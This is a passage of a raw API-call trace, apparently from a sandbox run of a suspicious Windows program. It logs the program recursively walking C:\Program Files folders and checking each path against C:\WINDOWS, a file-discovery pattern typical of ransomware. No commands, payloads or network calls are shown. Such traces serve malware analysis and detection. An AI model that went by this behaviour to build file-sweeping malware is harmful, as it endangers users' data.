ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0x98de9f33, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Defender", cAlternateFileName="WINDOW~1")) returned 1 [0195.224] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0195.224] FindNextFileW (in: hFindFile=0x4420da0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a5b2a5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26a5b2a5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26a5b2a5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb2fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EppManifest.dll", cAlternateFileName="")) returned 1 [0195.225] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0195.225] FindNextFileW (in: hFindFile=0x4420da0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26aa7774, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26aa7774, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26aa7774, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x851a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProtectionManagement.dll", cAlternateFileName="")) returned 1 [0195.225] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44b50c8 | out: hHeap=0x420000) returned 1 [0195.225] FindNextFileW (in: hFindFile=0x4420c20, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x9a90a382, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0x9a90a382, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Defender Advanced Threat Protection", cAlternateFileName="WIF4A9~1")) returned 1 [0195.914] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0195.914] FindNextFileW (in: hFindFile=0x4420d60, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7822b459, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe304e38c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe304e38c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3bb568, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsSense.exe", cAlternateFileName="")) returned 1 [0195.915] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44b50c8 | out: hHeap=0x420000) returned 1 [0195.917] FindNextFileW (in: hFindFile=0x4420c20, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa90b6918, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Mail", cAlternateFileName="WINDOW~2")) returned 1 [0195.918] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0195.918] FindNextFileW (in: hFindFile=0x4420ba0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d342cc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d342cc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1f0a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoe.dll", cAlternateFileName="")) returned 1 [0195.918] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44b50c8 | out: hHeap=0x420000) returned 1 [0195.918] FindNextFileW (in: hFindFile=0x4420c20, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e4faee, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x98f4135e, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0x98f4135e, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Media Player", cAlternateFileName="WI54FB~1")) returned 1 [0195.920] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0195.920] FindNextFileW (in: hFindFile=0x4420d60, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9125145, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e75d43, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Icons", cAlternateFileName="")) returned 1 [0195.920] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0195.920] FindNextFileW (in: hFindFile=0x4420d60, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9182d5a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e75d43, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media Renderer", cAlternateFileName="MEDIAR~1")) returned 1 [0195.922] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0195.923] FindNextFileW (in: hFindFile=0x4420d60, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40fd93f, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xc4f45c00, ftLastWriteTime.dwHighDateTime=0x1d29fa3, nFileSizeHigh=0x0, nFileSizeLow=0x2c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpvis.DLL", cAlternateFileName="")) returned 1 [0195.924] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0195.924] FindNextFileW (in: hFindFile=0x4420d60, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aedcb00, ftCreationTime.dwHighDateTime=0x1d51750, ftLastAccessTime.dwLowDateTime=0xc33aca00, ftLastAccessTime.dwHighDateTime=0x1d55650, ftLastWriteTime.dwLowDateTime=0xc33aca00, ftLastWriteTime.dwHighDateTime=0x1d55650, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="non firewall.exe", cAlternateFileName="NONFIR~1.EXE")) returned 1 [0195.925] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0195.925] FindNextFileW (in: hFindFile=0x4420d60, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa91c754d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visualizations", cAlternateFileName="VISUAL~1")) returned 1 [0195.925] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0195.925] FindNextFileW (in: hFindFile=0x4420d60, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3f0da9a, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb49bb00, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x15c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmlaunch.exe", cAlternateFileName="")) returned 1 [0195.925] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44b50c8 | out: hHeap=0x420000) returned 1 [0195.925] FindNextFileW (in: hFindFile=0x4420c20, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa91c7efb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a4f7cc5, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Multimedia Platform", cAlternateFileName="WINDOW~3")) returned 1 [0195.926] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44b50c8 | out: hHeap=0x420000) returned 1 [0195.926] FindNextFileW (in: hFindFile=0x4420c20, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa91c8710, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows NT", cAlternateFileName="WINDOW~4")) returned 1 [0195.927] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4400060 | out: hHeap=0x420000) returned 1 [0195.927] FindNextFileW (in: hFindFile=0x4420d60, lpFindFileData=0x34ff584 | out: lpFindFileData=0x34ff584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47cb7852, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xbe78b154, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x47cb7852, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x448600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wordpad.exe", cAlternateFileName="")) returned 1 [0195.927] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0195.927] FindNextFileW (in: hFindFile=0x4420a20, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa9257555, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService", cAlternateFileName="TABLET~1")) returned 1 [0195.927] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4400060 | out: hHeap=0x420000) returned 1 [0195.927] FindNextFileW (in: hFindFile=0x4420d60, lpFindFileData=0x34ff584 | out: lpFindFileData=0x34ff584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68b88afa, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x68b88afa, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x68b88afa, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa0800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TableTextService.dll", cAlternateFileName="")) returned 1 [0195.927] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0195.928] FindNextFileW (in: hFindFile=0x4420a20, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa9257555, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService", cAlternateFileName="TABLET~1")) returned 0 [0195.928] FindClose (in: hFindFile=0x4420a20 | out: hFindFile=0x4420a20) returned 1 [0195.928] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44b50c8 | out: hHeap=0x420000) returned 1 [0195.929] FindNextFileW (in: hFindFile=0x4420c20, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9bdfed90, ftLastAccessTime.dwHighDateTime=0x1d32794, ftLastWriteTime.dwLowDateTime=0x9bdfed90, ftLastWriteTime.dwHighDateTime=0x1d32794, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Photo Viewer", cAlternateFileName="WI8A19~1")) returned 1 [0195.930] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0195.930] FindNextFileW (in: hFindFile=0x44209e0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9550fd74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9550fd74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9550fd74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x19940, dwReserved0=0x0, dwReserved1=0x0, cFileName="ImagingDevices.exe", cAlternateFileName="")) returned 1 [0195.930] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44b50c8 | out: hHeap=0x420000) returned 1 [0195.930] FindNextFileW (in: hFindFile=0x4420c20, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x98f4135e, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0x98f4135e, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Portable Devices", cAlternateFileName="WIBFE5~1")) returned 1 [0195.930] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44b50c8 | out: hHeap=0x420000) returned 1 [0195.930] FindNextFileW (in: hFindFile=0x4420c20, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92acc65, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Security", cAlternateFileName="WIDB62~1")) returned 1 [0195.931] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4400060 | out: hHeap=0x420000) returned 1 [0195.931] FindNextFileW (in: hFindFile=0x44208e0, lpFindFileData=0x34ff584 | out: lpFindFileData=0x34ff584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5845b6dc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x5845b6dc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x5845b6dc, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="manifest.json", cAlternateFileName="")) returned 1 [0195.931] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0195.931] FindNextFileW (in: hFindFile=0x4421020, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92ad688, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrowserCore", cAlternateFileName="BROWSE~1")) returned 0 [0195.931] FindClose (in: hFindFile=0x4421020 | out: hFindFile=0x4421020) returned 1 [0195.931] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44b50c8 | out: hHeap=0x420000) returned 1 [0195.933] FindNextFileW (in: hFindFile=0x4420c20, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92aed1a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 1 [0195.934] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0195.934] FindNextFileW (in: hFindFile=0x44208e0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92aff0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared Gadgets", cAlternateFileName="SHARED~1")) returned 1 [0195.934] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0195.934] FindNextFileW (in: hFindFile=0x44208e0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92aff0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared Gadgets", cAlternateFileName="SHARED~1")) returned 0 [0195.934] FindClose (in: hFindFile=0x44208e0 | out: hFindFile=0x44208e0) returned 1 [0195.934] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44b50c8 | out: hHeap=0x420000) returned 1 [0195.934] FindNextFileW (in: hFindFile=0x4420c20, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x8da88b6d, ftLastAccessTime.dwHighDateTime=0x1d3274e, ftLastWriteTime.dwLowDateTime=0x8da88b6d, ftLastWriteTime.dwHighDateTime=0x1d3274e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="WindowsApps", cAlternateFileName="WI7DB9~1")) returned 1 [0195.934] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44b50c8 | out: hHeap=0x420000) returned 1 [0195.934] FindNextFileW (in: hFindFile=0x4420c20, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502b1c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="WindowsPowerShell", cAlternateFileName="WID5B1~1")) returned 1 [0195.936] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4400060 | out: hHeap=0x420000) returned 1 [0195.936] FindNextFileW (in: hFindFile=0x4420e60, lpFindFileData=0x34ff584 | out: lpFindFileData=0x34ff584*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502d74d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Schema", cAlternateFileName="")) returned 1 [0195.936] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Configuration\\Schema") returned 55 [0195.936] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\WindowsPowerShell\\Configuration\\Schema") returned 1 [0195.936] lstrlenW (lpString="Schema") returned 6 [0195.936] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Schema") returned -1 [0195.936] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4400060 [0195.937] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Configuration\\Schema") returned 55 [0195.937] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Configuration\\Schema\\*", lpFindFileData=0x34ff308 | out: lpFindFileData=0x34ff308*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502d74d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4421020 [0195.937] FindNextFileW (in: hFindFile=0x4421020, lpFindFileData=0x34ff308 | out: lpFindFileData=0x34ff308*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502d74d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.937] FindNextFileW (in: hFindFile=0x4421020, lpFindFileData=0x34ff308 | out: lpFindFileData=0x34ff308*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502d74d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0195.937] FindClose (in: hFindFile=0x4421020 | out: hFindFile=0x4421020) returned 1 [0195.937] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4400060 | out: hHeap=0x420000) returned 1 [0195.937] FindNextFileW (in: hFindFile=0x4420e60, lpFindFileData=0x34ff584 | out: lpFindFileData=0x34ff584*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502d74d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Schema", cAlternateFileName="")) returned 0 [0195.937] FindClose (in: hFindFile=0x4420e60 | out: hFindFile=0x4420e60) returned 1 [0195.937] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0195.937] FindNextFileW (in: hFindFile=0x4420d60, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb507390a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Modules", cAlternateFileName="")) returned 1 [0195.937] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules") returned 42 [0195.938] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\WindowsPowerShell\\Modules") returned 1 [0195.938] lstrlenW (lpString="Modules") returned 7 [0195.938] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Modules") returned -1 [0195.938] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x45b2db0 [0195.938] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules") returned 42 [0195.938] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\*", lpFindFileData=0x34ff584 | out: lpFindFileData=0x34ff584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb507390a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, 